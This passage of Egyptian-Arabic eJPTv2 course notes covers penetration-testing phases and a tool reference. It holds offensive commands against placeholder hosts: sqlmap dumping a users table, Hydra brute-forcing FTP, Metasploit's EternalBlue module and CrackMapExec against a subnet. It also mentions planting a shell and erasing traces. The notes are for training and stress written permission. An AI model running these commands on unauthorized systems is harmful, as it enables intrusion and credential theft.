sqlmap -u "http://example.com/vuln.php?id=1" -D webapp_db --tables
sqlmap -u "http://example.com/vuln.php?id=1" -D webapp_db -T users --dump

الخطوات دي بترجع أسماء قواعد البيانات، بعدها الجداول، وفي الآخر البيانات نفسها (زي جدول المستخدمين وكلمات مرورهم المشفرة).

7. Privilege Escalation

رفع الصلاحيات لو دخلت بحساب محدود، عن طريق البحث عن نقاط ضعف إضافية في التطبيق — زي تعديل قيمة Cookie أو Parameter بيحدد دور المستخدم (role=user → role=admin).

8. Maintaining Access

تثبيت طريقة دخول ثانية بعد الاختراق — زي رفع Shell على السيرفر.

9. Post-Exploitation

جمع معلومات إضافية عن التطبيق وقواعد البيانات، باستخدام Burp Suite أو Metasploit.

10. Covering Tracks & Reporting

مسح أي أثر، وكتابة تقرير شامل بالثغرات وطرق استغلالها والتوصيات لإصلاحها.

أدوات أساسية

الأداةالاستخدام
Burp Suiteفحص شامل لتطبيقات الويب بموديولات متعددة
OWASP ZAPفحص تطبيقات الويب، مفتوح المصدر وسهل الاستخدام
SQLMapاستغلال ثغرات SQL Injection
Niktoفحص الخوادم عن الثغرات المعروفة
Postmanاختبار الـ APIs والـ Requests/Responses
Wappalyzerكشف التقنيات المستخدمة في بناء الموقع
Gobuster / Wfuzzاكتشاف الصفحات والمسارات المخفية

نصائح مهمة

  • خد إذن رسمي من صاحب التطبيق قبل البدء
  • اجمع معلومات كفاية قبل أي محاولة هجوم
  • اختار الأداة المناسبة لنوع الثغرة اللي بتدور عليها
  • راجع الـ OWASP Top 10 بشكل دوري — بتلخصلك أخطر عشر فئات ثغرات في تطبيقات الويب، ومعظم اللي هتقابله في الامتحان أو في الشغل الحقيقي بيقع تحت واحدة منهم

8 تثبيت الأدوات الأساسية للكورس

مرجع سريع لتثبيت واستخدام أهم الأدوات اللي هتحتاجها في الكورس ده:

Nmap

# على كالي لينكس: موجودة بشكل افتراضي
nmap -sS [TARGET_IP]

Burp Suite

نزّل النسخة المجانية (Community Edition) من الموقع الرسمي، افتح البرنامج وابدأ من Intruder أو Scanner، وضيف البروكسي بتاعه في المتصفح.

OWASP ZAP

نزّل النسخة المناسبة لنظامك، افتح البرنامج واستخدم Quick Start لفحص أي تطبيق ويب، وضيف البروكسي في المتصفح.

SQLMap

# على كالي لينكس
sudo apt install sqlmap
python sqlmap.py -u "http://example.com/vuln.php?id=1" --dbs

Nikto

# على كالي لينكس
sudo apt install nikto
perl nikto.pl -h http://example.com

Metasploit Framework

# موجودة جاهزة على كالي لينكس
msfconsole
use exploit/windows/smb/ms17_010_eternalblue

Hydra

# على كالي لينكس
sudo apt install hydra
hydra -l username -P passwords.txt ftp://target_ip

Wireshark

# على كالي لينكس
sudo apt install wireshark

افتح البرنامج، اختار واجهة الشبكة، وابدأ التقاط البيانات.

Postman

نزّل النسخة المناسبة من الموقع الرسمي، استخدمه لاختبار الـ APIs عن طريق إدخال الـ URL وتجربة الـ Requests المختلفة.

Gobuster

# على كالي لينكس
sudo apt install gobuster
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt

CrackMapExec

pip3 install crackmapexec
crackmapexec smb 192.168.1.0/24 -u username -p password

BloodHound

sudo apt install bloodhound

بعد التثبيت، بتحتاج تشغّل SharpHound (Collector) على بيئة الـ Active Directory الهدف لجمع البيانات، بعدين تستوردها في واجهة BloodHound الرسومية عشان تشوف العلاقات والمسارات بين الحسابات.


الخلاصة

كدا غطينا كل أجزاء الكورس بالتفصيل — من أول Engagement لحد كتابة التقرير النهائي، مرورًا بكل مرحلة من مراحل جمع المعلومات، الفحص، الـ Enumeration، تقييم الثغرات، تدقيق الشبكات، واختبار اختراق الشبكات وتطبيقات الويب.

نوتس eJPTv2 — للمراجعة والاستخدام الشخصي فقط، استخدم كل الأدوات المذكورة داخل نطاق قانوني ومصرّح به فقط.
⬆ رجوع لأعلى الصفحة